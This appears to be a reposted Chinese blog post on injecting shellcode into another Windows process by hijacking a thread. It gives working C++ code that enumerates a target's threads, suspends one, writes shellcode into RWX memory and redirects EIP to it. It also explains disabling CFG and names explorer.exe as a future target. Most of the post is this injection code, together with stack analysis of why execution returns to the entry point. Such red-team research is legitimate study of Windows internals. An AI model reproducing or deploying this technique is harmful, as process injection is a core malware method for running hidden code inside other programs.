windows:shellcode 遠程線程hook/注入(一)

  http://www.javashuo.com/article/p-pcvynbhr-nd.html 上次分享了經過APC注入方式,讓目標線程運行shellcode。這麼作有個前提條件:目標線程是alertable的,不然注入了也不會當即被執行,直到狀態改成alertable,但筆者暫時沒找到能把目標線程狀態主動改成alertable的辦法,因此只能被動「聽天由命」地等。今天介紹另外一種遠程線程注入的方式:hook 線程;html

  先說第一種思路,以下:shell

          

  核心代碼解析以下:windows

  一、用於測試的目標進程:這裏寫個死循環,讓其一直運行,方便隨時被注入;安全

#include <windows.h>
#include <stdio.h>

int main() 
{
    printf("dead looping...............\n");
    while (TRUE) 
    {

    }
}

  注意:本人測試環境:函數

       

  win10 x64爲了確保安全,默認增長了不少防禦,好比控制流防禦CFG,編譯的時候須要手動改爲否,才能讓咱們注入的shellcode順利執行;oop

  

   二、遍歷進程,找到目標進程後再遍歷該進程名下其餘線程:測試

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
        //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
        if (Wow64SuspendThread(threadHandle) == -1) //掛起線程失敗
        {
            continue;
        }
        printf("threadId:%d\n", threadId);
        if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
        {
            printf("threadID = %d inject success!", threadId);
            CloseHandle(victimProcess);
            CloseHandle(threadHandle);
            break;
        }
    }

  三、shellcode代碼注入,思路也簡單:以前已經已經拿到目標進程和目標線程的句柄,而且已經暫定線程,這裏直接GetThreadContext,更改eip爲shellcode地址便可;spa

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
    LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL)
    {
        printf("VirtualAlloc Error\n");
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE );
        ResumeThread(hThread);
        return FALSE;
    }

    WOW64_CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    if (!Wow64GetThreadContext(hThread, &ctx))
    {
        int a = GetLastError();
        printf("GetThreadContext Error:%d\n", a);
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
    DWORD currentEIP = ctx.Eip;
    if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0)
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("write shellcode error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ctx.Eip = (DWORD)shellAddress;//讓eip指向shellcode
    if (!Wow64SetThreadContext(hThread, &ctx))
    {
        VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE);
        printf("set thread context error\n");
        ResumeThread(hThread);
        return FALSE;
    }
    ResumeThread(hThread);
    return TRUE;
}

       效果:彈出了messagebox:線程

       

       也在目標進程的目錄下生成了文件:3d

      

  四、最後作一些總結:

  •     爲了讓被注入的目標進程一直運行,剛開始用了sleep,從process hacker看能正常suspend,但沒法resume,shellcode也沒法執行;後來改爲死循環,能正常執行shellcode了;
  •     shellcode執行完後,從打印的數據來看,貌似又從main開始運行,以下:

    

    從process hacker看,線程並未改變,仍是以前的那個:

     

    那麼問題來了,shellcode執行完回到主線程後爲啥又執行了打印代碼?仔細想一想,shellcode最後一條有效指令是C3,也就是ret,該指令把棧頂4個字節做爲返回地址賦值給eip;既然dead looping打印了兩次,說明執行shellcode執行前棧頂被壓入了這行代碼的地址,這是誰幹的了?用IDA打開目標進程分析,以下:

    

     好在本身寫的測試進程不復雜,很容易找到答案,分析以下:

             (1)因爲cpu執行速度很快,注入shellcode的進程(如下簡稱loader)在執行suspendThread時大機率已經進入while死循環,從上面彙編代碼來看,while循環並未改變堆棧,因此shellcdoe執行完後ret的地址確定不是while循環更改的;

             (2)繼續往上倒推:add esp,4 這是進入死循環最後一行改變棧頂的代碼,爲了更直觀說明,我畫了一個堆棧圖,對照代碼以下:

            

     從函數入口點開始,改變堆棧,期間有兩個call和一個push,這3行指令會改變esp;最後執行完add esp,4後,esp從新指向原edi;shellcode最後一行ret執行時,會從堆棧中該值彈出賦值給eip。那麼原edi值又是多少了?用調試器打開測試進程,在main入口斷下,發現edi指向的時EntryPoint,也就是說shellcode最後一個ret指令會跳轉到這裏開始執行;

        

             這裏也能看到棧頂是EntryPoint的地址:

             

   五、 此次注入shellcode雖然說成功,問題也很明顯:

  •    手動關閉了CFG檢查,但實際狀況是CFG默認是開啓的,致使shellcode可能沒法執行
  •    沒有設置返回地址,shellcode執行完,返回地址沒法控制(這裏只是湊巧回到了原EntryPoint);因suspendThread是隨機的,context的eip也是隨機的,因此shellcode執行完後返回地址也是隨機的,這點在shellode沒法寫死,只能動態獲取;我曾經嘗試在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含不少00,經過字符串操做的時候可能會被截斷,暫時沒想到好的解決辦法;
  •    相似explorer這種系統進程,GetThreadContex大機率會失敗,可能作了保護;

     後續會經過其餘方案挨個解決這些問題!

相關文章
相關標籤/搜索